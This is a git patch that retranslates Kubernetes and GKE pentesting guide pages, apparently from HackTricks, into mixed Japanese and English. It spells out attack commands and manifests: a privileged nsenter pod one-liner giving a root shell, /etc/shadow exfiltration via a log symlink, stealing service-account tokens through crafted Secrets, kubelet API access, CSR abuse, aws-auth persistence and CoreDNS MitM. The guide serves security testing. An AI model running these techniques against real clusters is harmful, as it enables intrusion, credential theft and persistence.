From 950522da289700ee3c7c799112a1db7cbcd31890 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jul 2026 22:56:49 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-rol --- .../gcp-containers-gke-and-composer-enum.md | 64 +++-- .../README.md | 251 ++++++++--------- .../exposing-services-in-kubernetes.md | 131 ++++++--- .../kubernetes-enumeration.md | 258 +++++++++++------- .../kubernetes-securitycontext-s.md | 97 ++++--- .../kubernetes-network-attacks.md | 87 +++--- .../kubernetes-pivoting-to-clouds.md | 160 +++++++---- ...bernetes-role-based-access-control-rbac.md | 68 +++-- ...bernetes-validatingwebhookconfiguration.md | 116 +++++--- .../pentesting-kubernetes-services/README.md | 105 ++++--- 10 files changed, 815 insertions(+), 522 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index c51d73f33..7b6726593 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -1,10 +1,10 @@ -# GCP - コンテナとGKEの列挙 +# GCP - Containers & GKE Enum {{#include ../../../banners/hacktricks-training.md}} -## コンテナ +## Containers -GCPのコンテナでは、GCPが提供するほとんどのコンテナベースのサービスを見つけることができます。ここでは、最も一般的なものを列挙する方法を示します: +GCP containersでは、GCPが提供するコンテナベースのサービスのほとんどを見つけることができます。ここでは、最も一般的なものを列挙する方法を見ていきます: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -22,17 +22,17 @@ sudo docker login -u oauth2accesstoken -p $(gcloud auth print-access-token) http ## where HOSTNAME is gcr.io, us.gcr.io, eu.gcr.io, or asia.gcr.io. sudo docker pull HOSTNAME// ``` -### プライベートエスカレーション +### Privesc -次のページでは、**コンテナの権限を悪用して特権を昇格させる方法**を確認できます: +以下のページでは、**container の権限を悪用して権限昇格する**方法を確認できます: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -## ノードプール +## Node Pools -これらは、Kubernetesクラスターを形成するマシン(ノード)のプールです。 +これらは、kubernetes cluster を形成する machines (nodes) の pool です。 ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster --zone --region \ +--format='value(workloadIdentityConfig.workloadPool)' -使用される技術は以下の投稿で説明されています: +kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' +``` +Service account に `iam.gke.io/gcp-service-account` アノテーションがある場合、IAM service account policy を確認して、Kubernetes service account principals に対する `roles/iam.workloadIdentityUser` の付与を調べてください。あわせて、IAM allow policies で direct workload identity principals や broad principal sets が使われていないかも確認してください。 + +Metadata へのアクセスは、cluster mode、node pool configuration、そして workload settings に依存します。すべての pod が node service account を盗めると決めつけないでください。Workload Identity が有効な環境では、通常の pod は GKE metadata server を使って、自分の Kubernetes service account 用の workload identity を取得する必要があります。node compromise、いくつかの Standard 構成での `hostNetwork` pods、そして legacy node metadata exposure によって blast radius は変わり得るため、実際の node pool metadata mode、node service account、OAuth scopes、そして pod placement を確認してください。 + +### TLS Boostrap Privilege Escalation + +当初、この privilege escalation technique は **GKE cluster 内で privesc** することを可能にし、結果として攻撃者が **完全に compromise できる** ようにしていました。 + +これは、GKE が metadata に [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) を提供しており、それが **pod を compromise するだけで誰でもアクセス可能** だったためです。 + +使われた technique は以下の投稿で説明されています: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -このプロセスを自動化するために作成されたツールがあります: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +また、この process を自動化するために次の tool が作られました: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -しかし、この技術は**メタデータ資格情報を使用することで**、**新しいノードのCSR**(証明書署名要求)を**生成することが可能であり**、それが**自動的に承認されていた**という事実を悪用していました。\ -私のテストでは、**これらの要求がもはや自動的に承認されない**ことを確認したので、この技術がまだ有効かどうかは不明です。 +ただし、この technique は **metadata credentials を使って** **新しい node** のための CSR (Certificate Signing Request) を生成でき、それが **自動承認** されることを悪用していました。\ +私のテストでは、**それらの request はもう自動承認されない** ことを確認したので、この technique がまだ有効かどうかは分かりません。 -### Kubelet APIの秘密 +### Secrets in Kubelet API -[**この投稿**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/)では、GKE内のポッドからアクセス可能なKubelet APIアドレスが発見され、実行中のポッドの詳細が提供されていることが明らかになりました: +[**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) では、GKE の pod 内からアクセス可能な Kubelet API address が発見され、実行中の pod の詳細が得られることが判明しました: ``` curl -v -k http://10.124.200.1:10255/pods ``` -APIが**リソースを変更することを許可していなくても**、レスポンス内に**機密情報**を見つけることができる可能性があります。エンドポイント/podsは[**Kiterunner**](https://github.com/assetnote/kiterunner)を使用して見つかりました。 +API が **リソースの変更を許可していなくても**、レスポンス内に **機密情報** が見つかる可能性があります。エンドポイント /pods は [**Kiterunner**](https://github.com/assetnote/kiterunner) を使って発見されました。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index b229a1389..f186daa07 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,22 +1,23 @@ -# Abusing Roles/ClusterRoles in Kubernetes +# KubernetesにおけるRoles/ClusterRolesの悪用 {{#include ../../../banners/hacktricks-training.md}} -ここでは、潜在的に危険な Roles および ClusterRoles の設定をいくつか紹介します。`kubectl api-resources` でサポートされているすべてのリソースを取得できることを忘れないでください。 +ここでは、潜在的に危険なRolesとClusterRolesの設定を見つけられます。\ +`kubectl api-resources` で、サポートされているすべてのリソースを確認できることを覚えておいてください。 -## **Privilege Escalation** +## **権限昇格** -ここで言う「Privilege Escalation」は、現在持っているものとは異なる特権を持つクラスター内の別の principal(kubernetes cluster 内または外部のクラウドへの)にアクセスする技術を指します。Kubernetes では、権限を昇格させる主な手法が基本的に**4つ**あります: +これは、すでに持っているものとは異なる権限で、クラスター内の**別の主体へのアクセス**を取得する技術を指します(kubernetesクラスター内、または外部cloudへのアクセス)。Kubernetesでは、権限昇格には基本的に次の**4つの主な手法**があります: -- より高い特権を持つ他の user/groups/SAs を **impersonate** できること(kubernetes cluster 内や外部クラウドで) -- より高い特権を持つ SAs を **find or attach** できるような **create/patch/exec pods** を作成できること(kubernetes cluster 内や外部クラウドで) -- SAs のトークンが secrets として保存されているため、**read secrets** できること -- コンテナから **escape to the node** できること。ノード上で動作するコンテナのすべての secrets、ノードの認証情報、および(存在する場合は)ノードが動作しているクラウド内でのノードの権限を盗むことができます -- 触れておくべきもう一つの手法として、pod 内で **run port-forward** できる能力があり、これによりその pod 内の興味深いリソースへアクセスできる可能性があります。 +- kubernetesクラスター内、または外部cloudに対して、より高い権限を持つ他のuser/groups/SAsを**impersonate**できる +- kubernetesクラスター内、または外部cloudに対して、より高い権限を持つSAを**find or attach**できる **create/patch/exec pods** ができる +- SAのtokensはsecretsとして保存されるため、**secretsをread**できる +- containerからnodeへ**escape**できると、そのnode上で動作しているすべてのcontainerのsecrets、nodeのcredentials、そして(存在する場合)そのcloud内でのnodeの権限を盗める +- 触れておくべき5つ目の手法として、pod内で**port-forwardをrun**できることがあります。これにより、そのpod内の興味深いリソースへアクセスできる可能性があります。 -### Access Any Resource or Verb (Wildcard) +### 任意のResourceまたはVerbにアクセスする(Wildcard) -The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster +**wildcard (\*) は、あらゆるresourceに対してあらゆるverbの権限を与えます**。これはadminが使うものです。ClusterRole内では、これはattackerがcluster内の任意のnamespaceを悪用できることを意味します ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -28,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### 特定の動詞で任意のリソースにアクセス +### 特定の verb で任意の Resource に Access する -In RBAC, certain permissions pose significant risks: +RBAC では、特定の permissions が大きなリスクをもたらします。 -1. **`create`:** 任意のクラスタリソースを作成する権限を付与し、権限昇格のリスクを招く。 -2. **`list`:** すべてのリソースを列挙できるため、機密データのleakingにつながる可能性がある。 -3. **`get`:** サービスアカウントからシークレットにアクセスできるようになり、セキュリティ上の脅威となる。 +1. **`create`:** 任意の cluster resource を作成する ability を与え、privilege escalation のリスクがあります。 +2. **`list`:** すべての resources の listing を許可し、機密 data を leak する可能性があります。 +3. **`get`:** service accounts から secrets に access することを許可し、security threat となります。 ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -46,11 +47,11 @@ rules: resources: ["*"] verbs: ["create", "list", "get"] ``` -### Pod Create - Steal Token +### Pod Create - Tokenを盗む -pod を作成する権限を持つ攻撃者は、特権のある Service Account を pod に割り当ててそのトークンを盗み、Service Account としてなりすますことができます。結果的に権限を昇格させることになります。 +podを作成する権限を持つatackerは、privilegedなService Accountをpodにアタッチし、そのtokenを盗んでService Accountをimpersonateできる。実質的に、その権限へ privilege escalation できる。 -Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker: +`bootstrap-signer` service account のtokenを盗んで attacker に送信するpodの例: ```yaml apiVersion: v1 kind: Pod @@ -73,12 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -以下は、コンテナが持ち得るすべての権限を示します: +以下は、container が持ちうるすべての権限を示します: -- **Privileged access** (保護の無効化や capabilities の設定) -- **Disable namespaces hostIPC and hostPid** (権限昇格に利用される可能性がある) -- **Disable hostNetwork** namespace (ノードの cloud privileges を奪うアクセスやネットワークへのより広いアクセスを可能にする) -- **Mount hosts / inside the container** (ホストの / をコンテナ内にマウントする) +- **Privileged access** (保護の無効化と capabilities の設定) +- **hostIPC と hostPid の namespace を無効化** すると、権限昇格に役立つ可能性があります +- **hostNetwork** namespace を無効化すると、node の cloud 権限を盗みやすくなり、network へのアクセスも向上します +- **container 内に hosts / を mount する** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -114,11 +115,11 @@ volumes: hostPath: path: / ``` -次の内容で pod を作成する: +podを次のように作成します: ```bash kubectl --token $token create -f mount_root.yaml ``` -このワンライナーは [this tweet](https://twitter.com/mauilion/status/1129468485480751104) からのもので、いくつかの追加を加えています: +[tthis tweet](https://twitter.com/mauilion/status/1129468485480751104) からのワンライナーで、いくつか追加あり: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` @@ -137,10 +138,10 @@ You probably want to be **stealthier**, in the following pages you can see what _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod の作成 — クラウドへ移動 +### Pod Create - Move to cloud -もし **pod** を **create**(オプションで **service account**)できる場合、**pod または service account に cloud roles を割り当て**てアクセスすることで、**クラウド環境の権限を取得**できる可能性があります。\ -さらに、**host network namespace を持つ pod** を作成できれば、**node インスタンスの IAM ロールを steal** することができます。 +If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\ +Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance. For more information check: @@ -150,7 +151,7 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -これらの権限を悪用して **new pod を create** し、前述の例のように権限を昇格させることが可能です。 +It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example. The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml @@ -190,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** は kubernetes のリソースで、**pod 内のシェルでコマンドを実行するため**に使われます。これにより、**コンテナ内でコマンドを実行したり、シェルを取得したり**することができます。 +**`pods/exec`** は kubernetes における、**pod 内の shell でコマンドを実行する**ための resource です。これにより、**container 内でコマンドを実行したり、shell に入ったり**できます。 -したがって、**pod に入り込み SA のトークンを盗む**ことや、特権 pod に入って node に脱出し、node 上のすべての pod のトークンを盗んで (ab)use the node が可能です: +そのため、**pod に入り SA の token を盗む**ことが可能であり、また privileged pod に入って node へ escape し、node 上の pod のすべての token を盗んで node を (ab)use することもできます: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> デフォルトではコマンドは pod の最初のコンテナで実行されます。pod 内のすべてのコンテナ名を `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` で取得し、実行したいコンテナを `kubectl exec -it -c -- sh` で指定してください。 +> デフォルトでは、コマンドは pod の最初の container で実行される。`kubectl get pods -o jsonpath='{.spec.containers[*].name}'` で **container 内のすべての pod** を取得し、`kubectl exec -it -c -- sh` で実行したい **container を指定**する。 -もし distroless container の場合は、コンテナの情報を取得するためにシェルの組み込みコマンド(shell builtins)を試すか、`kubectl cp :` を使って **busybox** のようなツールをアップロードすることを試してみてください。 +distroless container の場合は、**shell builtins** を使って container の情報を取得するか、**busybox** のような自分のツールを次のようにアップロードしてみるとよい: **`kubectl cp :`**。 ### port-forward -この権限は、**ローカルの1つのポートを指定した pod 内の1つのポートに転送する**ことを許可します。これは pod 内で動作するアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者がこれを悪用して pod 内の興味深い(like DBs)や脆弱なアプリケーション(webs?)にアクセスする可能性があります: +この権限は、**1 つの local port を指定した pod 内の 1 つの port に転送する**ことを許可する。これは pod 内で動作している application を簡単に debug できるようにするためのものだが、攻撃者はこれを悪用して、pod 内の興味深い(DB など)または脆弱な application(webs?)にアクセスできるかもしれない: ```bash kubectl port-forward pod/mypod 5000:5000 ``` -### ホストが書き込み可能な /var/log/ Escape +### Hosts Writable /var/log/ Escape -As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、もし **hosts `/var/log/` directory mounted** がある pod にアクセスまたは作成できれば、**escape from the container** が可能です.\ -これは主に、コンテナのログを取得しようとする際(`kubectl logs ` を使用して)、**Kube-API tries to get the logs** が Kubelet サービスの `/logs/` エンドポイントを通してポッドの `0.log` ファイルを要求するためです.\ -Kubelet サービスは `/logs/` エンドポイントを公開しており、これは基本的にコンテナの `/var/log` ファイルシステムを **exposing the `/var/log` filesystem of the container** しています。 +[**この調査で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**hosts の `/var/log/` ディレクトリがマウントされた** pod にアクセスまたは作成できる場合、**container から escape** できます。\ +これは基本的に、**Kube-API が container の logs を取得しようとすると** (`kubectl logs ` を使用)、**Kubelet** service の `/logs/` endpoint を使って pod の **`0.log`** file を要求するためです。\ +Kubelet service は `/logs/` endpoint を公開しており、これは要するに **container の `/var/log` filesystem を公開している**だけです。 -したがって、コンテナの **access to write in the /var/log/ folder** を持つ攻撃者は、この挙動を次の2つの方法で悪用できます: +したがって、container の **/var/log/** folder に書き込める attacker は、この挙動を 2 つの方法で abuse できます: -- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: +- container の `0.log` file(通常は `/var/logs/pods/namespace_pod_uid/container/0.log` にあります)を、たとえば **`/etc/shadow` への symlink** に変更する。すると、以下のようにして hosts の shadow file を exfiltrate できるようになります: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -223,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- 攻撃者が任意のプリンシパルを制御しており、**`nodes/log` を読む権限**を持っている場合、`/host-mounted/var/log/sym` に `/` への **symlink** を作成し、**`https://:10250/logs/sym/` にアクセスするとホストのルートファイルシステムが一覧表示されます**(symlink を変更することでファイルへアクセスできます)。 +- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -235,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**ラボと自動化された exploit は以下で確認できます** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### readOnly 保護のバイパス +#### readOnly protection の回避 -もし `CAP_SYS_ADMIN`(高い特権)が利用可能であれば、フォルダを単に rw として remount できます: +もし運よく、非常に高権限な capability `CAP_SYS_ADMIN` が使えるなら、フォルダを rw に remount するだけでよいです: ```bash mount -o rw,remount /hostlogs/ ``` -#### hostPath readOnly 保護のバイパス +#### hostPath の readOnly 保護を回避する -[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) に記載されているように、保護をバイパスすることが可能です: +[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) で述べられているように、この保護を回避することが可能です: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -これは、前述のようなエスケープを防ぐために、hostPath mount を使う代わりに PersistentVolume と PersistentVolumeClaim を使用して、ホストのフォルダをコンテナに書き込み可能な状態でマウントすることを意図したものです: +これは、前のもののような escape を防ぐことを意図していたが、hostPath mount の代わりに PersistentVolume と PersistentVolumeClaim を使って、コンテナ内に hosts フォルダを writable access 付きで mount するものだった: ```yaml apiVersion: v1 kind: PersistentVolume @@ -297,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **特権アカウントのなりすまし** +### **特権アカウントの impersonating** -[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限があれば、攻撃者は特権アカウントになりすますことができます。 +[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限があれば、攻撃者は特権アカウントを impersonate できる。 -ユーザーをなりすますには `kubectl` コマンドでパラメータ `--as=` を使用し、グループをなりすますには `--as-group=` を使用します: +`kubectl` コマンドで `--as=` パラメータを使ってユーザーを impersonate するか、`--as-group=` でグループを impersonate するだけでよい: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -316,14 +317,15 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Listing Secrets -この権限により、REST API endpoint にアクセスして **list secrets によって attacker が実際に secrets を読み取れる** 可能性があります: +**secrets を list する** 権限は、REST API エンドポイントにアクセスして、攻撃者が実際に secrets を read できるようにしてしまう可能性があります: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Secrets の作成と読み取り +### Secretsの作成と読み取り -serviceaccount tokens を格納する、タイプが **kubernetes.io/service-account-token** の特別な Kubernetes secret があります。 -もし secrets を作成および読み取りする権限があり、かつ対象の serviceaccount の名前がわかっている場合、以下のように secret を作成して、その中から被害者の serviceaccount トークンを盗むことができます: +**kubernetes.io/service-account-token** 型の特別な Kubernetes Secret には、service account tokens が保存されます。最新の Kubernetes では、各 ServiceAccount ごとに長期有効な Secret を自動作成しません。通常の workload path は、projected された bound TokenRequest tokens です。ただし、手動で作成された service account token Secrets はまだサポートされており、upgrade 済みまたは legacy の clusters には、今でも長期有効な token Secrets が残っている場合があります。現在の clusters では、未使用の自動生成 legacy token Secrets を invalid にし、最終的に clean up して、`kubernetes.io/legacy-token-invalid-since` や `kubernetes.io/legacy-token-last-used` のような labels を残すこともできます。 + +もし secrets を create して read する権限があり、さらに serviceaccount の名前も知っているなら、次のように secret を作成して、そこから victim serviceaccount の token を steal できます: ```yaml apiVersion: v1 kind: Secret @@ -334,7 +336,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -exploitation の例: +Example exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -382,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. +注意してください。特定のnamespaceで secrets を作成・読み取りできる場合、被害者の serviceaccount も同じ namespace に存在している必要があります。 + ### Reading a secret – brute-forcing token IDs -読み取り権限を持つtokenを所持する攻撃者は、より広範な _**listing secrets**_ 権限とは異なり、そのsecretを利用するために正確な名前が必要ですが、それでも脆弱性は残っています。システム内のデフォルトのserviceaccountは列挙可能で、それぞれがsecretに紐づいています。これらのsecretは名前の構造が決まっており、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)が続きます。詳細は[source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)を参照してください。 +token の read 権限を持つ attacker は、_**listing secrets**_ 権限のように広範ではないため、それを使うには secret の正確な名前が必要ですが、それでも vulnerability はあります。システム内の default service accounts は列挙でき、それぞれに secret が紐づいています。これらの secret には、[source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) に従って、静的な prefix の後ろにランダムな 5 文字の英数字 token(特定の文字を除く)という name structure があります。 -このトークンは完全な英数字範囲ではなく、限定された27文字セット(`bcdfghjklmnpqrstvwxz2456789`)から生成されます。この制約により組み合わせ総数は14,348,907(27^5)にまで減少します。したがって、攻撃者は数時間でブルートフォース攻撃によりトークンを推測できる可能性があり、機密性の高いservice accountへアクセスして権限昇格を引き起こす恐れがあります。 +token はフルの英数字範囲ではなく、限定された 27 文字の set (`bcdfghjklmnpqrstvwxz2456789`) から生成されます。この制限により、可能な組み合わせの総数は 14,348,907(27^5)に減ります。そのため attacker は brute-force attack を実行して、数時間で token を特定できる可能性があり、機密性の高い service accounts にアクセスして privilege escalation につながることがあります。 -### EncrpytionConfiguration の平文 +### EncrpytionConfiguration in clear text -この種のオブジェクト内で、at rest のデータを暗号化するための平文キーを見つけることが可能です。例えば: +この type of object では、at rest の data を encrypt するための clear text keys を見つけられる可能性があります。たとえば: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +452,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### 証明書署名リクエスト +### Certificate Signing Requests -リソース`certificatesigningrequests`(または少なくとも`certificatesigningrequests/nodeClient`)に対して**`create`**の動詞がある場合、**new node**の新しいCeSRを**create**できます。 +リソース `certificatesigningrequests` で **`create`** の verbs を持っている場合(または少なくとも `certificatesigningrequests/nodeClient` にある場合)。あなたは **new node** の新しい CeSR を **create** できます。 -According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、その場合は追加の権限は**必要ありません**。そうでない場合はリクエストを承認できる必要があり、つまり`certificatesigningrequests/approval`での`update`と、resourceNameが`/`または`/*`である`signers`に対する`approve`が必要になります。 +[documentation ではこれらの requests を auto approve できるとされています](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、そのためその場合は **extra permissions は不要**です。そうでない場合は、request を approve できる必要があり、それは `certificatesigningrequests/approval` で update、さらに `signers` で resourceName `/` または `/*` に対する `approve` を意味します。 -必要な権限をすべて含むロールの**例**は: +必要なすべての permissions を持つ **role の例** は: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,19 +489,19 @@ resourceNames: verbs: - approve ``` -つまり、新しい node CSR が承認されると、ノードの特別な権限を **abuse** して **steal secrets** や **escalate privileges** を行うことができます。 +新しい node CSR が承認されたので、nodes の特別な権限を**悪用**して**secrets を盗み**、**privileges を昇格**できます。 -In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\ -If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.** +[**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) と [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) では、GKE K8s TLS Bootstrap の設定が**automatic signing**で構成されており、これを悪用して新しい K8s Node の credentials を生成し、その後それらを悪用して secrets を盗むことで privileges を昇格しています。\ +もし**前述の privileges を持っていれば、同じことができます**。なお、最初の例では、新しい node がコンテナ内の secrets にアクセスするのを妨げるエラーを回避しています。なぜなら、**node はその node にマウントされたコンテナの secrets にしかアクセスできない**からです。 -これを回避する方法は単純で、興味深い secrets がマウントされているコンテナの node 名に対して **create a node credentials for the node name where the container with the interesting secrets is mounted** を作成することだけです(方法は最初の post を参照してください): +この回避方法は、単に**興味のある secrets を持つコンテナがマウントされている node 名の node credentials を作成する**ことです(ただし、やり方は最初の post を確認してください): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -EKS(AWS 上にある必要があります)クラスターの kube-system namespace 内の **`configmaps`** を変更できるプリンシパルは、**aws-auth** configmap を上書きすることでクラスタ管理者権限を取得できます。\ -必要な操作は **`update`** と **`patch`**、configmap が作成されていない場合は **`create`** です: +EKS クラスター内の kube-system namespace で **`configmaps`** を変更できる principals(AWS にいる必要があります)は、**aws-auth** configmap を上書きすることで cluster admin privileges を取得できます。\ +必要な verbs は **`update`** と **`patch`**、または configmap がまだ作成されていない場合は **`create`** です: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,18 +541,18 @@ groups: - system:masters ``` > [!WARNING] -> **`aws-auth`** を **永続化** として使用し、**他のアカウント** からのユーザーにアクセスを与えることができます。 +> **`aws-auth`** を **persistence** に使って、**他のアカウント** のユーザーにアクセスを与えることができます。 > -> ただし、`aws --profile other_account eks update-kubeconfig --name ` は **別アカウントからは動作しません**。しかし実際には、クラスター名の代わりにクラスターの ARN を指定すると `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` は動作します。\ -> `kubectl` を動作させるには、被害者の **kubeconfig** を **configure** し、aws exec の引数に `--profile other_account_role` を追加して、kubectl がトークン取得と AWS への接続で他アカウントのプロファイルを使用するようにしてください。 +> ただし、`aws --profile other_account eks update-kubeconfig --name ` は **別のアカウントからは動きません**。しかし実際には、クラスタ名だけではなく ARN を使って `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` とすると動きます。\ +> `kubectl` を動かすには、**victims kubeconfig** を **configure** し、aws exec args に `--profile other_account_role` を追加して、kubectl が他のアカウントの profile を使って token を取得し AWS に接続するようにしてください。 ### CoreDNS config map -If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**. +`kube-system` namespace の **`coredns` configmap** を変更する権限がある場合、MitM attacks を実行できるように、ドメインが解決される先の address を変更して、**機密情報を盗んだり悪意のある content を注入したり** できます。 -The verbs needed are **`update`** and **`patch`** over the **`coredns`** configmap (or all the config maps). +必要な verbs は **`update`** と **`patch`** で、**`coredns`** configmap(またはすべての config maps)に対してです。 -A regular **coredns file** contains something like this: +通常の **coredns file** には次のようなものが含まれています: ```yaml data: Corefile: | @@ -588,8 +591,8 @@ Another option is to just edit the file running `kubectl edit configmap coredns There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link). > [!WARNING] -> K8s API エンドポイントとやり取りする際、**GCP の認証トークンが送信されます**。その後、GCP は K8s API エンドポイントを通じて、まずプリンシパル(メールアドレスで)が**クラスター内にアクセス権を持っているか**を確認し、次に**GCP IAM 